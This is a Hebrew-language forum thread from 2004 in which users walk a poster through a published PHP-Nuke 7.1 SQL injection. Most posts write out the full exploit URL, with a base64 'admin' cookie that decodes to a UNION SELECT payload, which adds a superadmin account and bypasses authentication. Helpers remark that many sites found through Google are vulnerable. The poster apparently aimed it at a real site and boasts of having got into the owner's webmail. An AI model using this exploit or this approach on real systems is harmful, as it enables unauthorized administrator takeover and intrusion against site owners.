2004-07-16 06:34
zerocool
שלום אני צריך עזרה קטנה בקשר ל PHPNUKE SQL INJECTION
זה ה SQL INJECTION נראה לי היחיד שלא הצלחתי להבין ממש אז אני אשמח אם תסבירו לי עליו
זה האתר http://msgs.securepoint.com/cgi-bin/get/bugtraq0404/128.html
הבעיה שלי שלא הבנתי שהוא אומר לי לעשות כך
http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1
and the "workhorse" is authors.php from /admin/modules/ directory. Authentication goes through multiple steps. First, like we saw before, auth.php is required by admin.php and if we want to bypass this authentication step, we must use UNION functionality, constructing "cookie" like this:
לא הבנתי למה הוא מתכוון בכלל שאני עושה admin.php?foo=bar&admin=eCcgT1IvKjp5
אז נכון זה אומר לי Selection from database failed! אבל שאני עושה את הפקודה השנייה שהוא אומר http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1 אז זה לא מראה לי כלום כנראה פספתי משהו שהוא כתב שלא הבנתי שצריך להוסיף מישהו יכול להסביר לי מה אני צריך לעשות אחר כך את הפקודה המלאה כאילו?? ומזה אומר גם שאני יבין לפעם הבאה תודה
2004-07-16 12:01
cp77fk4r
לפי ה"op=AddAuthor" (הop זה קיצור של Option) בפאנל "admin.php" (של האדמין), אתה יכול לדעת שאתה מנסה להזריק מידע שיוסיף עוד מנהל למערכת.
ותיראה, הוא אומר לך לעשות "admin.php?foo=bar&admin=eCcgT1IvKjp5" למרות שהגישה האמיתית (של האדמינים) היא בכלל דרך ה"...admin.php?op=AddAuthor"
אבל בגלל שיש את הפילטר הזה:
if (preg_match("/?admin/", "$checkurl")) { echo "die"; exit;
שבודק, ומאמת אם אתה מנהל.
אבל אפשר לעקוף את הבדיקה אם ננסה לדלות את הסיסמאות מהמסד נתונים ע"י הוספת השאילתה:
http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1
אבל שוב, זאת אומרת שאנחנו צריכים את הכל בMD5, אז נסתכל שוב על הקוד..
שים לב, שאחרי שאנחנו ממלאים את המידע הוא שולח אותו ישר, אין עוד שום בדיקות, הכל עובר חלק. אז פשוט נכתוב:
http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox
בMD5 ו...וואלה! :)
המשתמש: waraxe2 דרגה: Superadmin סיסמא: coolpass
עכשיו הכל מובן?
ואחי, הבאג פורסם באפריל, אנחנו עכשיו בשביעי.. שלושה חודשים.. הכל רץ כאן בקצב מטורף, הוציאו לזה עידכונים.[נערך על-ידי cp77fk4r בתאריך 2004/07/16 12:03]
2004-07-16 13:28
zerocool
סבבה אחי בערך הבנתי אבל שאני עושה את הפקודה השנייה
admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1 אז זה לא עושה לי כלום זה רק מחזיר אותי לעמוד של ה ADMIN .... ושאני מנסה לעשות את הפקודה השלישית admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo AT bar DOT com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox
אז זה אומר לי Selection from database failed למה זה לא מצליח לי אחי מה פספסתי :)?
2004-07-16 13:59
cp77fk4r
שים לב לקוד:
/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&;add_email=foo%20AT%20bar%20DOT%20com&add_radminsuper=1&admin=1%20UNION%20SELECT%201⁄*:1 תבדוק אם רשמתי את זה טוב ואם לא אז תתקן לי אתה אחי בבקשה
2004-07-16 16:33
CereBrums
תראה... אין פה יותר מדי להבין... admin זה השם של הקוקי, בעיקרון הקוקי מקודד בבסיס 64, שלאחר פיענוח אתה מקבל את השם משתמש והסיסמא ככה: user:md5hash
את זה: 1%20UNION%20SELECT%201⁄*:1 לא תוכל לכתוב בתוך העוגיה, כי הוא אמור לקבל את זה ולפענח את זה בבסיס 64, דבר שזה ממש לא...
הדבר הנחמד שהם עושים בחור אבטחה הזה, זה הזרקת sql ע"י הקוקי הדבר הזה: eCcgVU5JT04gU0VMRUNUIDEvKjox לאחר פיענוח הוא: x' UNION SELECT 1/*:1
אין כאן צורך בפקודה שניה, הסיבה לארור הוא כנראה פשוט פאטצ' או חסימת חור... כי כמעט כל מערכת PHP-nuke שתחפש בגוגל, כן תהיה פגיעה לחור הזה...
הכתובת שאמורה לפעול באופן מושלם היא זו: admin.php?op=AddAuthor&add_aid=admin&add_name=God&add_pwd=pass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox
אם זה לא פועל... לא פועל
2004-07-18 04:10
cp77fk4r
תכנס לגוגל ולכתוב XSS+Hacking ויהיה לך מלא חומר על זה.
2004-07-18 04:05
zerocool
כן אחי למדתי ברור :)) אבל אני רוצה ללמוד יותר על XSS זה יותר מעניין מ SQL INJECTOIN
כל הקטע שהסתבכתי עם האקספלויט בגלל שבאתר אמרו לי שאם זה אומר SELECTION FROM DATABSE FAILD אז זה הוכחה שההזרקה אמורה לעבוד ובעצם היא לא עובדת חפיף :)
2004-07-18 02:02
cp77fk4r
בכל אופן- כמו ששחף אמר, אני מקווה שזה רק למטרות למידה. ככה שזה לא משנה, בכל אופן, העיקר שלמדת על החור עצמו ועל הדרך ניצול שלו. לא כן?
2004-07-18 01:30
zerocool
צודק אחי בטח כבר כולם תיקנו את החור הזה חפיף לא יצא כבר הרבה זמן חורים חדשים ל PHP-NUKE מעניין :)
2004-07-17 21:06
cp77fk4r
תיראה מה כתבתי לך בהודעה הקודמת: "ואחי, הבאג פורסם באפריל, אנחנו עכשיו בשביעי.. שלושה חודשים.. הכל רץ כאן בקצב מטורף, הוציאו לזה עידכונים."
2004-07-16 19:31
zerocool
טוב סליחה על ההצפה רק רציתי להגיד לך שהבנתי את כל מה שאמרת שקשור ל COOKIE שבעצםeCcgVU5JT04gU0VMRUNUIDEvKjox זה x'%20UNION%20SELECT%201 אז זאת הייתה טעות שלי אחי סורי בקיצר אם זה אומר עדיין SELECTION FROM DATBASE FAILD אז זה אומר שבעל האתר תקן את הבאג וזהו חפיף לא נורא לפחות ל WEBMAIL שלו הצלחתי להכנס :) חח ותודה לכולם שעזרו לי
ZeroCool
2004-07-16 19:14
zerocool
ואני יודע אחי שזה BASE64 זה לא הבעיה שלי עם לערוך את הקוקי את זה אני יודע אחי הבעיה שלי שזה אומר לי Selection from database failed! ואת זה אני לא מבין בגלל שאמרו לי באתר שאם זה אומר ככה זאת הוכחה שזה כן עובד ובלי קשר בחור הזה אני אפילו לא צריך לערוך את הקוקי זה פשוט מוסיף SUPERADMIN עם id warexe2 וסיסמא coolpass אז אין צורך לערוך בכלל ... לערוך קוקי זה פשוט :)) ותודה אחי
2004-07-16 19:09
zerocool
סבבה הבנתי אחי ועשיתי את הפקודה שאמרת וזה אמר לי
Selection from database failed! אז זה אומר לי שהמערכת מוגנת? מהחור הזה? בגלל שכתוב באתר שאם זה אומר לך ככה זה אומר שזאת הוכחה לחור הזה שזה עובד מוזר אחי אני כבר מבולבל :(
עמודים:
1